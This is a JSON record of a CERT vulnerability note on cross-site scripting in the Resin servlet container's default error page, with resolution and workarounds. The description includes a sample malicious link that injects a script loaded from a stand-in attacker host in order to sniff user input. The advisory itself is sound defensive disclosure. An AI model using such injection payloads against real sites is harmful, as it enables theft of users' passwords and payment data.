{"vuid":"VU#981651","idnumber":"981651","name":"Caucho Technologies Resin vulnerable to Cross-Site Scripting via passing of user input directly to default error page","keywords":["Caucho Technology Resin","filter javascript","hyperlinks","embedded javascript","cross-site scripting"],"overview":"Web servers that use the Resin Java Servlet Container, versions 1.2.3 and earlier, are vulnerable to a cross-site scripting vulnerability. A web site may inadvertently include malicious HTML tags or script(JavaScript, VBScript, Java, etc.) in a dynamically generated page based on unvalidated input from untrustworthy sources. This can be a problem when a web server does not adequately ensure that generated pages are properly encoded to prevent unintended execution of scripts, and when input is not validated to prevent malicious HTML from being presented to the user.","clean_desc":"It is possible to use a \"cross-site\" scripting technique to inject malicious script (JavaScript, VBScript, etc.) or HTML into a web page. The essence of cross-site scripting is that an intruder causes a legitimate web server to send a page to a victim's web browser that contains malicious script or HTML of the intruder's choosing. The malicious script runs with the privileges of a legitimate script originating from the legitimate web server. Several server applications are vulnerable to such an technique via various default error pages. For example, A valid URL request might be http://www.example.com/FILENAME.html However, if the requested document \"FILENAME.html\" did not exist, the web site could return an error message such as: <HTML> 404 page does not exist: FILENAME.html </HTML> Notice that \"FILENAME.html\" is a string that was inputed by a user and is included in the page returned by the web site straight through to the client's browser. If a malicious web site existed that offered a link to example.com that looked something like this <A HREF=\"http://www.example.com/<script%20SRC='http://www.malicioussite.com/evilscript.js'> </script> \">Click Here</a> The \"FILENAME.html\" submitted to example.com is <script SRC='http://www.malicioussite.com/evilscript.js'> </script> example.com then uses its ordinary routines to generate an error page to you that\nreads: <HTML> 404 page not found: <script SRC='http://www.malicioussite.com/evilscript.js'></script> </HTML> In effect, malicioussite.com has managed to \"inject\" a JavaScript program of their choosing into the page returned to the user by example.com. The JavaScript runs as if it originated at example.com, and can therefore process events in that document, but it can also communicate with malicioussite.com by virtue of having come from there. Thus, this vulnerability could be used to \"sniff\" sensitive data from within the web page, including passwords, credit card numbers, and any arbitrary information the user inputs. There are a variety of variants to this problem. The ultimate fix to this problem involves recoding a very large number of web sites so that they properly filter and validate the input they receive and properly encode or filter the output before returning it to the user or acting upon it. This process is a very large undertaking.","impact":"The victim will be presented with information which the compromised site did not wish their visitors to be subjected. This vulnerability could be used to \"sniff\" sensitive data from within the web page, including passwords, credit card numbers, and any arbitrary information the user inputs.","resolution":"Upgrade to Resin 1.2.4 which was released with the fix on April 11, 2001.","workarounds":"The web master may change the default error page to not include the file name passed in by any user. The client may disable JavaScript (or VBScript or other scripting languages), but it doesn't address the problem of simply inserting malicious HTML, and it can cause undesired functionality.","sysaffected":"","thanks":"Our thanks to Hiromitsu Takagi, who discovered this instance of the cross-site scripting vulnerability and to Scott Ferguson, of Caucho Technologies, for his technical assistance.","author":"This document was originally written by Shawn Hernan in July 2000. It has been adapted for this instance by Jason Rafail.","public":["http://www.securityfocus.com/bid/2981","http://www.cert.org/advisories/CA-2000-02.html","http://www.microsoft.com/TechNet/security/crssite.asp","http://www.apache.org/info/css-security/","http://www.microsoft.com/technet/security/bulletin/ms00-060.asp"],"cveids":["CVE-2001-0828"],"certadvisory":"","uscerttechnicalalert":null,"datecreated":"2001-07-06T12:58:58Z","publicdate":"2001-07-02T00:00:00Z","datefirstpublished":"2001-07-27T19:56:33Z","dateupdated":"2001-07-30T18:56:24Z","revision":11,"vrda_d1_directreport":"","vrda_d1_population":"","vrda_d1_impact":"","cam_widelyknown":"20","cam_exploitation":"0","cam_internetinfrastructure":"15","cam_population":"15","cam_impact":"15","cam_easeofexploitation":"20","cam_attackeraccessrequired":"20","cam_scorecurrent":"59.0625","cam_scorecurrentwidelyknown":"59.0625","cam_scorecurrentwidelyknownexploited":"92.8125","ipprotocol":"","cvss_accessvector":"","cvss_accesscomplexity":"","cvss_authentication":null,"cvss_confidentialityimpact":"","cvss_integrityimpact":"","cvss_availabilityimpact":"","cvss_exploitablity":null,"cvss_remediationlevel":"","cvss_reportconfidence":"","cvss_collateraldamagepotential":"","cvss_targetdistribution":"","cvss_securityrequirementscr":"","cvss_securityrequirementsir":"","cvss_securityrequirementsar":"","cvss_basescore":"","cvss_basevector":"","cvss_temporalscore":"","cvss_environmentalscore":"","cvss_environmentalvector":"","metric":59.0625,"vulnote":null}